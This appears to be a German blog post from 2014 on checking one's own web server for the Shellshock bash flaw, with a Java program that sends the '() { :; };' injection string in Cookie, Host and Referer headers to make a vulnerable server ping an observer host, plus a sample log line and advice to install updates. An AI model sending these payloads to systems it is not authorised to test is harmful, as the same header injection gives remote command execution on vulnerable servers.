Shellshock: Der Test am eigenen System

Seit kurzer Zeit ist eine neue, wirklich schwerwiegende Sicherheitslücke bekannt geworden: Shellshock. Nachzulesen hier:

http://www.heise.de/newsticker/meldung/Bash-Luecke-ShellShock-ist-noch-nicht-ausgestanden-2403607.html

http://www.golem.de/news/bash-luecke-die-hintergruende-zu-shellshock-1409-109463.html

Da immer mehr Eigenheime über Remote-Zugriffe verfügen und diese per HTTP zu erreichen sind, stellt sich unweigerlich die Frage: Ist mein System sicher? Wie teste ich das?

Wer mit Java vertraut ist kann dieses Beispiel hier benutzen (gibt sicher noch andere Wege):

import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.net.URL;
import java.net.URLConnection; 

public class ShellShockTest {
 
 public static void main(String[] args) throws Exception {
 URL url = new URL("http://<zutestenderserver>");
 URLConnection conn = url.openConnection();
 conn.setRequestProperty("User-Agent", "shellshock-scan (<deinname>)");
 conn.setRequestProperty("banners", "true");
 conn.setRequestProperty("Cookie", "() { :; }; ping -1 3 <serverfürpingfeedback>");
 conn.setRequestProperty("Host", "() { :; }; ping -c 1 <serverfürpingfeedback>");
 conn.setRequestProperty("Referer", "() { :; }; ping -c 1 <serverfürpingfeedback>");
 BufferedReader in = new BufferedReader(new InputStreamReader(conn.getInputStream()));
 String inputLine;
 while ((inputLine = in.readLine()) != null)
   System.out.println(inputLine);
 in.close();
 }
 
}

Ersetze „<zutestenderserver>“ mit dem Namen des Zielsystems.

Damit Du Deinen eigenen Test in den Logfiles identifizieren kannst, ersetze noch „<deinname>“ durch Deinen Namen.

Um zu sehen ob das Zielsystem anfällig ist, wird versucht ein Ping auf ein anderes System auszuführen. Hier solltest du „<serverfürpingfeedback>“ mit einem

  1. im Internet direkt erreichbaren System
  2. für dich einsehbares System

ersetzt werden.

Code übersetzen, ausführen und gleichzeitig die Webserver Accesslog-Datei im Auge behalten, sowie auf dem „<serverfürpingfeedback>“ System ein Netzwerktrace auf ICMP Ebene durchführen (wireshark, tcpdump, …).

Im Webserver-Logile wirst du nun den HTTP Request sehen. Sieht bei mir z.B. so aus:

1.2.3.4 - - [26/Sep/2014:10:20:56 +0200] "GET / HTTP/1.1" 200 467 "() { :; }; ping -c 3 4.3.2.1" "shellshock-scan (huhu)"

1.2.3.4 ist das zu testende System, und 4.3.2.1 ist das System für die Ping-Rückmeldung.

Wenn im Netzwerktrace dann ein ICMP Request von 1.2.3.4 auftaucht, dann ist das System über Apache anfällig. Ist das nicht der Fall, bist du erstmal fein raus.

Debian und Ubuntu nutzen übrigens nicht Bash, sondern Dash per Default. Das macht die Sache „etwas“ sicherer. Aber eben nicht „ganz sicher“.

Nichts desto trotz: Sicherstellen dass alle verfügbaren Updates eingespielt wurden….